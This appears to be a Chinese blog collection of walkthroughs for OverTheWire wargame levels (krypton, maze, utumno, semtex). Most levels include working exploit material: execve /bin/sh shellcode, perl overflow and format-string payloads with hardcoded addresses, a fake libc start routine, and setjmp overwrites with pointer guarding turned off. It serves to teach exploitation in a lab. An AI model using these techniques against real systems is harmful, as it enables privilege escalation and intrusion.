    Vigenere,还是在之前那个网站,注意两个文件要分开。从found1推出key是FREKEY,从found2推出key是FRTKEY。试了第一个key

  • krypton5
    还是vigenere,但key的长度不知道。在http://smurfoncrack.com/pygenere/index.php试了第一个文件,感觉plaintext似乎是it was…第二个文件的plaintext是when the…。由于密码的长度只有6,所以到这里我就试着从前两个文件得到key的前几个字符是KEYLEN。 到此我们就可以试着解密了

  • krypton6
    stream cipher,试着加密一堆A,发现每30个字符循环。后来看反汇编,加密是取plaintext,key,random之和,算mod26之类的。key的长度是10,而密码长15,那么估计random是以15为周期的。 试了发现15个A被加密成EICTDGYIYZKTHNS,现在密文是PNUKLYLWRQKGKBE,由此可反推出明文:

oldc='EICTDGYIYZKTHNS'oldp='AAAAAAAAAAAAAAA'newc='PNUKLYLWRQKGKBE'newp=[]foriinrange(len(newc)):code=(26+ord(newc[i])-ord(oric[i]))%26newp.append(chr(65+code))print(''.join(newp))

maze

$
0
0
  • maze0
    race condition,以前做过,于是懒得再弄了

  • maze1
    ldd检查发现会加载当前目录下的libc.so.4。于是我们写一个文件

int__libc_start_main(){intfd=open("/etc/maze_pass/maze2",0);charbuf[64];intnumRead=read(fd,buf,sizeofbuf);buf[numRead]=0;write(1,buf,numRead);return0;}

这里的输入输出没有用libc里的fopen,printf等,因为没有加载正确的libc.so

将该文件编译成动态库:

$ gcc --shared -fPIC 1.c -o libc.so.4

再运行程序,就会调用我们提供的start_main

  • maze2
    把payload提供为argv即可。调用时会执行我们提供的argv[1]的内容;由于最多只能复制8个字符,所以把shellcode放环境变量,然后跳到那里:
BITS32moveax,0xffffd8d8jmpeax

正好7个字符,然后执行

$ /maze/maze2 `perl -e 'print "\xb8\xd8\xd8\xff\xff\xff\xe0"'`
  • maze3
    只有个_start,估计是纯手写的汇编。 关于linux下main函数的启动,http://tldp.org/LDP/LGNET/84/hawk.html有一篇文章。于是可以知道,进入_start之后,栈顶由高到底依次为:argc, &argv[0], &argv[1], &argv[2],…。而_start一般来说会执行
080482d0<_start>: 80482d0:       31 ed                   xor    %ebp,%ebp 80482d2:       5e                      pop    %esi 80482d3:       89 e1                   mov    %esp,%ecx... 80482e5:       51                      push   %ecx 80482e6:       56                      push   %esi

这里就把argv和argv推到栈上了。

对于我们的程序,首先取出argc,看减1后是否为0,如果是的话退出。

然后调用了mprotect,是修改内存属性,7的话应该是rwx,于是我们接下来可以修改指令部分了。接着是把44bytes指令取出(ecx=0x2c),与0x12345678做XOR,再保存回原来的地方(edi=edi=d1),接着就执行这一部分的内容。全部XOR之后,将要执行的代码变成:

=> 0x80480cb <d1>:      pop    %eax   0x80480cc <d1+1>:    cmpl   $0x1337c0de,(%eax)   0x80480d2 <d1+7>:    jne    0x80480ed <d1+34>   0x80480d4 <d1+9>:    xor    %eax,%eax   0x80480d6 <d1+11>:   push   %eax   0x80480d7 <d1+12>:   push   $0x68732f2f   0x80480dc <d1+17>:   push   $0x6e69622f   0x80480e1 <d1+22>:   mov    %esp,%ebx   0x80480e3 <d1+24>:   push   %eax   0x80480e4 <d1+25>:   push   %ebx   0x80480e5 <d1+26>:   mov    %esp,%ecx   0x80480e7 <d1+28>:   xor    %edx,%edx   0x80480e9 <d1+30>:   mov    $0xb,%al   0x80480eb <d1+32>:   int    $0x80   0x80480ed <d1+34>:   mov    $0x1,%eax   0x80480f2 <d1+39>:   xor    %ebx,%ebx   0x80480f4 <d1+41>:   inc    %ebx   0x80480f5 <d1+42>:   int    $0x80

由于之前有pop了一次,所以这里是把argv[1]和0x1337c0de比较,相等的话就有shell了。于是执行

$ /maze/maze3 `perl -e 'print "\xde\xc0\x37\x13"'`

多说一句,1337这个数经常见到,因为是http://en.wikipedia.org/wiki/Leet * maze4
这里会检查提供的文件,如果符合要求则执行。具体检查如下:

...Elf32_Ehdrehdr;Elf32_Phdrphdr;structstatst;.../* read Elf-header */read(fd,&ehdr,sizeof(Elf32_Ehdr));/* read Program-header */lseek(fd,ehdr.e_phoff,SEEK_SET);read(fd,&phdr,sizeof(Elf32_Phdr));/* check */if(phdr.p_paddr==(ehdr.e_ident[EI_OSABI]*ehdr.e_ident[EI_ABIVERSION])&&st.st_size<120){printf("valid file, executing\n");execv(argv[1],NULL);}

而如果提供ELF文件,那么p_paddr在0x08040000之后,但两个bytes相乘不太可能等于那么大的数。

但如果是脚本文件,就不用那么费事了。

$ perl -e 'print "#!/bin/sh\ncat maze5\n#" . "-"x7 . "\x14\x00\x00\x00" . "\xb8\x2e\x00\x00"'> overthewire/maze/maze4.sh

两个相乘的bytes在0x7、0x8处,是s和h。program header在0x1c,我们把那里写成0x14。这样再找p_paddr就会在0x14+0xc=0x20,那里写成乘积0x2eb8。这样就符合要求了。

为了省事儿,我把密码文件链接到当前目录下面了。而且用sh而不是bash,因为setuid的问题。

  • maze5
    检查用户名和密码,都是8bytes,而且password[i]=’printlol’[i]-(username[i]-65)-2*i。这样我们如果提交username为A?=;9753,那么-2i被抵消,密码还是printlol

  • maze6
    这里可以覆盖FILE指针地址,也就是说可以使用我们提供的FILE结构。其定义在文件libio.h中,名字是_IO_FILE。

http://www.ouah.org/fsp-overflows.txt有一篇参考文章。

fprintf最终会调用vfprintf。参考FILE的定义,开始处有一些指针,我们把那里都写成jump table的地址。然后

...   0xf7e6467d <vfprintf+29>:    mov    0x8(%ebp),%esi...   0xf7e64798 <vfprintf+312>:   movsbl 0x46(%esi),%eax   0xf7e6479c <vfprintf+316>:   sub    0xc(%ebp),%edi   0xf7e6479f <vfprintf+319>:   mov    0x94(%esi,%eax,1),%eax...   0xf7e647ba <vfprintf+346>:   call   *0x1c(%eax)

可以看到,FILE的地址放在了esi,esi+0x46处的signed char被取出。参考定义这个是signed char _vtable_offset;然后此offset加上0x94得到table的地址;最后0x1c加table地址被调用。

于是,我们把第0x46处写成8,接下来作为jump table的内容,存的全是SHELLCODE的地址。

$ ./maze6 1 `perl -e 'print "\x2a\xf2\xd5\xd5"x17 . "\x2e\x2e\x22\x2e" . "\x7e\xf3\xd5\xd5"x22 . "\xf7\xf6\xd5\xd5"x24 . "\x96\xf2\xd5\xd5"'`
  • maze7
    首先读取起始的0x34=52个bytes,并从中获取参数,传给函数print_shdrs;然后在这个函数中的read(fd,&v5,nbytes)处可以向下覆盖至返回地址,由于这次的读文件还需要保持堆上的地址,所以我们再放72bytes在文件的后面。

要注意的是,向下覆盖时会重写ptr和buf的值。为了后面的free不出错,我们用gdb获得这两个堆上的地址,然后放到文件相应的地方;此外,在printf中会打印一个字符串,我们最好保证地址不要越界,也就是v5不要超过ptr的长度。

$ perl -e 'print "A"x32 . "\x34\x00\x00\x00" . "A"x10 . "\x48\x00" . "\x01\x00" . "\x00\x00" . "\x00"x20 . "\x10\x00\x00\x00" . "\x00"x16 . "\x38\xa0\x04\x08" . "AAAA" . "\x08\xa0\x04\x08" . "\x02\x00\x00\x00" . "A"x8 . "ebp-" . "\x05\xd9\xff\xff"'> f
$ /maze/maze7 f
  • maze8
    会监听1337端口。另外,snprintf存在format string。我们选择修改send的got地址,这需要同时联两个到ssh上面,一个把shellcode放到环境变量并启动maze8,另一个发送我们构造的内容:
$ perl -e 'print "\x78\x9d\x04\x08" . "\x79\x9d\x04\x08" . "\x7a\x9d\x04\x08" . "\x7b\x9d\x04\x08" . "%245x%11\$hhn" . "%212x%12\$hhn" . "%38x%13\$hhn" . "%14\$hhn"' | nc 127.0.0.1 1337

这样maze8那边就得到shell

utumno

$
0
0
  • utumno0
    和semtex4类似,这次的也是没有读权限。还是用xocopy把内容dump出来,elf地址用的是0x08048000。再用strings查看,发现类似是密码的内容

  • utumno1
    会打开目录,检查包含的文件的文件名。必须要是以sh_开头;然后漏洞在run函数里面,会把d_name[3]的地址放到返回地址。所以把payload放在文件名sh_的后面即可。

    把shellcode放环境变量,然后payload是跳转到那里

    $ touch `perl -e 'print "1/sh_" . "\xb8\xf3\xd8\xff\xff\xff\xe0"'`
         $ /utumno/utumno1 1
  • utumno2
    有点类似于之前的vortex4,也是要求argc为0,只能把payload放到环境变量里。argv={NULL},所以argv+40就是env[9]。我们把shellcode放到env[0],env[9]放shellcode的地址,那么strcpy就会把返回地址重写。 在构造env时注意,在结束之前都不要包含NULL,否则会被认为env结束而忽略掉后面的内容

#include <stdio.h>#include <stdlib.h>intmain(intargc,char*args[]){char*env="ABCDABCDABCDABCDABCDABCD""\xa9\xdf\xff\xff";char*shellcode="SHELLCODE=\x31\xc0\x50\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";char*t="";char*argv[]={NULL};char*envp[]={shellcode,t,t,t,t,t,t,t,t,env,NULL};//execve("././././envAddr", argv, envp);execve("/utumno/utumno2",argv,envp);}
  • utumno3
    这里会一个个地读字符,在v2那里可以做到修改返回地址。为此,我们找到v2和返回地址的距离是0x2c,那么往v1里填的字符就应该是0x2c^0, 0x2d^3, 0x2e^6, 0x2f^9。我试了invoke shell,但没反应,加上cat也不行;所以只好用读文件的shellcode了
    $ perl -e 'print "\x2c\xc8\x2e\xd8\x28\xff\x26\xff"' | /utumno/utumno3
  • utumno4
    memcpy当然存在overflow,因为复制的大小是我们提供的;虽然对大小做了个检查,但是是把大小存到short里面再比较的。由于起始位置与返回地址相距0xff0e,我们只需提供大小为0x10000,那么就可以覆盖到返回地址,并且大小检查也符合
    $ /utumno/utumno4 65536 `perl -e 'print "A"x65294 . "\xef\xd8\xff\xff"'`
  • utumno5
    和utumno2类似,不过问题在函数hihi里。这次检查了字符串的长度,最多只能覆盖保存的ebp,但通过修改ebp,可以使main函数返回时的leave跳到错误的地方,进而返回地址用我们提供的地址
#include <stdio.h>#include <stdlib.h>intmain(intargc,char*args[]){char*env="\xfe\xfe\xfe\xfe\xb1\xdf\xff\xff""AAAAAAAA""\xf8\xdd\xff\xff";char*shellcode="SHELLCODE=\x31\xc0\x50\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";char*t="";char*argv[]={NULL};char*envp[]={shellcode,t,t,t,t,t,t,t,t,env,NULL};//execve("././././envAddr", argv, envp);//execve("././././ebpAddr", argv, envp);execve("././././utumno5",argv,envp);}
  • utumno6
    malloc之后没有free,这点就很奇怪。于是通过v5=-1,可以修改v3的值为返回地址,那么接下来strcpy就可以修改返回地址了。
    $ /utumno/utumno6 -1 0xffffd6fc `perl -e 'print "\xf4\xd8\xff\xff"'`
  • utumno7
    由于用的是exit,所以不能通过strcpy修改返回地址。由于jmp_buf保存在栈上,我们可以修改这个。

    具体地,setjmp会保存寄存器

(gdb) x/20i setjmp   0xf7e4f280 <setjmp>: mov    0x4(%esp),%eax   0xf7e4f284 <setjmp+4>:       mov    %ebx,(%eax)   0xf7e4f286 <setjmp+6>:       mov    %esi,0x4(%eax)   0xf7e4f289 <setjmp+9>:       mov    %edi,0x8(%eax)   0xf7e4f28c <setjmp+12>:      lea    0x4(%esp),%ecx   0xf7e4f290 <setjmp+16>:      xor    %gs:0x18,%ecx   0xf7e4f297 <setjmp+23>:      rol    $0x9,%ecx   0xf7e4f29a <setjmp+26>:      mov    %ecx,0x10(%eax)   0xf7e4f29d <setjmp+29>:      mov    (%esp),%ecx   0xf7e4f2a0 <setjmp+32>:      xor    %gs:0x18,%ecx   0xf7e4f2a7 <setjmp+39>:      rol    $0x9,%ecx   0xf7e4f2aa <setjmp+42>:      mov    %ecx,0x14(%eax)   0xf7e4f2ad <setjmp+45>:      mov    %ebp,0xc(%eax)   0xf7e4f2b0 <setjmp+48>:      push   $0x1   0xf7e4f2b2 <setjmp+50>:      pushl  0x8(%esp)   0xf7e4f2b6 <setjmp+54>:      call   0xf7e4f230 <__sigjmp_save>

也就是说,依次保存ebx,esi,edi,ebp,处理过的esp,处理过的eip。由于处理时会和$gs:0x18做xor,这就导致结果不确定了……我试了下,确实每次运的时候,第5、6个的值都不一样。

后来还是在网上搜了之后才发现的。ld.so的manual里是这么说的:

LD_POINTER_GUARD
(glibc since 2.4) Set to 0 to disable pointer guarding. Any other value enables pointer guarding, which is also the default.
Pointer guarding is a security mechanism whereby some pointers to code stored in writable program memory (return addresses saved by
setjmp(3) or function pointers used by various glibc internals) are mangled semi-randomly to make it more difficult for an attacker
to hijack the pointers for use in the event of a buffer overrun or stack-smashing attack.

也就是说,我们需要先

$export LD_POINTER_GUARD=0

这样,每次jmp_buf里的esp和eip就不随机了,但rotation还是有的。我们用python来计算rotation

rol=lambdaval,r_bits,max_bits: \
    (val<<r_bits%max_bits)&(2**max_bits-1)| \
    ((val&(2**max_bits-1))>>(max_bits-(r_bits%max_bits)))ror=lambdaval,r_bits,max_bits: \
    ((val&(2**max_bits-1))>>r_bits%max_bits)| \
    (val<<(max_bits-(r_bits%max_bits))&(2**max_bits-1))

由于跳转到shellcode后,要保证栈可读可写,我们让esp还是恢复到正确的值,只是eip到环境变量里的shellcode。通过jobs -l获得进程的pid,再用kill -10 pid来发送信号。要发两次,第一次后调用strcpy,覆盖eip,等第二次信号时,跳到我们给的eip。此外,可能是jump的原因,两次信号要用不同的,正好他设了两个handler,10和12。

utumno7@melinda:/tmp/nabla$ /utumno/utumno7 `perl -e 'print "A"x128 . "\xfe"x16 . "\xff\x41\xaa\xff" . "\xff\xaf\xb1\xff"'`
^Z
[1]+  Stopped                 /utumno/utumno7 `perl -e 'print "A"x128 . "\xfe"x16 . "\xff\x41\xaa\xff" . "\xff\xaf\xb1\xff"'`
utumno7@melinda:/tmp/nabla$ jobs -l
[1]+  1987 Stopped                 /utumno/utumno7 `perl -e 'print "A"x128 . "\xfe"x16 . "\xff\x41\xaa\xff" . "\xff\xaf\xb1\xff"'`
utumno7@melinda:/tmp/nabla$ kill -10 1987
utumno7@melinda:/tmp/nabla$ fg
/utumno/utumno7 `perl -e 'print "A"x128 . "\xfe"x16 . "\xff\x41\xaa\xff" . "\xff\xaf\xb1\xff"'`
^Z
[1]+  Stopped                 /utumno/utumno7 `perl -e 'print "A"x128 . "\xfe"x16 . "\xff\x41\xaa\xff" . "\xff\xaf\xb1\xff"'`
utumno7@melinda:/tmp/nabla$ kill -12 1987
utumno7@melinda:/tmp/nabla$ fg
/utumno/utumno7 `perl -e 'print "A"x128 . "\xfe"x16 . "\xff\x41\xaa\xff" . "\xff\xaf\xb1\xff"'`$ id
uid=16007(utumno7)gid=16007(utumno7)euid=16008(utumno8)groups=16008(utumno8),16007(utumno7)

semtex

$
0
0
  • semtex0
    首先把文件下载下来:
    $ nc 178.79.134.250 24001 > semtex

    然后每两个bytes打印一个:

importsysfin=open('semtex1','rb')fout=open('semtex1.out','wb')while1:bytes=fin.read(2)ifnotbytes:breakfout.write(bytes[0])
  • semtex1
    用控制变量法之类的,发现加密的方法,然后解密:
a='ABCDEFGHIJKLMNOPQRSTUVWXYZ'c='HRXDZNWEAWWCP'p=[None]*len(c)p[12]=c[0]p[11]=a[(a.index(c[5])+13)%26]p[10]=a[(a.index(c[8])-19)%26]p[9]=a[(a.index(c[3])-3)%26]p[8]=a[(a.index(c[6])-15)%26]p[7]=a[(a.index(c[1])-23)%26]p[6]=a[(a.index(c[4])-13)%26]p[5]=a[(a.index(c[11])-20)%26]p[4]=a[(a.index(c[2])-12)%26]p[3]=a[(a.index(c[9])-4)%26]p[2]=a[(a.index(c[12])-11)%26]p[1]=a[(a.index(c[7])-10)%26]p[0]=a[(a.index(c[10])-10)%26]print(''.join(p))
  • semtex2
    devils number是666

    通过提示,还是要用LD_PRELOAD。写一个c文件,定义函数geteuid,然后编译为库:

    $ gcc -m32 --shared -fPIC preload.c -o preload.so

    再定义LD_PRELOAD

  • semtex3
    相当于求一个线性方程组的整数解,用matlab穷举了,类似于
    [i,j,k,m]=ndgrid(1:11);
    n=find(i+j+k+m==11);
    s=[i(n),j(n),k(n),m(n)]
    

    最后得到各个数字的个数为2, 3, 1, 1, 3, 1, 2, 0。输入得到shell

  • semtex4
    之前的一直都没有读的权限,到这里实在是不爽。在网上搜了下,找到一个用来dump内存的工具:xocopy。用它把semtex4转存下来,再用IDA分析。

    由于dump之后的程序比较大(估计是把相关的库,或者是准备的函数什么的都存了),打开比较慢。我们直接查找字符串password,进到了一个函数里。检查调用这个函数的函数,可以知道这个就是main。然后我们直接看汇编,得到密码会一个个字符打出来

    然后看了看其他人的解答,还是用ptrace修改eax的值来达到修改geteuid返回值的目的。由于geteuid的syscall是0xc9,当上一步eax是0xc9时,将eax改为6005。具体看http://0xbadc0de.org/blog/2013/11/17/wargame-semtex-4-solution/

  • semtex5
    这里要求从10个不同的ip连过去。可以用localhost.

    IPv4 network standards reserve the entire 127.0.0.0/8 address block for loopback purposes.

    我们用10个thread,每个收10bytes,与密码xor之后,附加上一个共同的10bytes的id。最后某一个连接读密码。

importsocketimportthreadingclasssemtex(threading.Thread):def__init__(self,lock,raddr,rport,tid,passwd,ansID):threading.Thread.__init__(self)self.tid=tidself.raddr=raddrself.rport=rportself.passwd=passwdself.ansID=ansIDself.lock=lockdefrun(self):print("start %d"%self.tid)self.doWork()print("end %d"%self.tid)defdoWork(self):s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)laddr="127.0.0.%d"%self.tids.bind((laddr,0))s.connect((self.raddr,self.rport))data=s.recv(128)ans=[None]*20foriinrange(len(self.passwd)):ans[i]=ord(data[i])^ord(self.passwd[i])ans[10:]=list(ansID)s.send(bytearray(ans))data=s.recv(128)self.lock.acquire()print("recv: %s"%data)self.lock.release()if__name__=="__main__":tidList=range(2,12)lock=threading.Lock()raddr="127.0.0.1"rport=24027passwd="HELICOTRMA"ansID="nabla12345"threads=[]fortidintidList:thread=semtex(lock,raddr,rport,tid,passwd,ansID)thread.start()threads.append(thread)forthreadinthreads:thread.join()
Viewing all 122 articles
Browse latest View live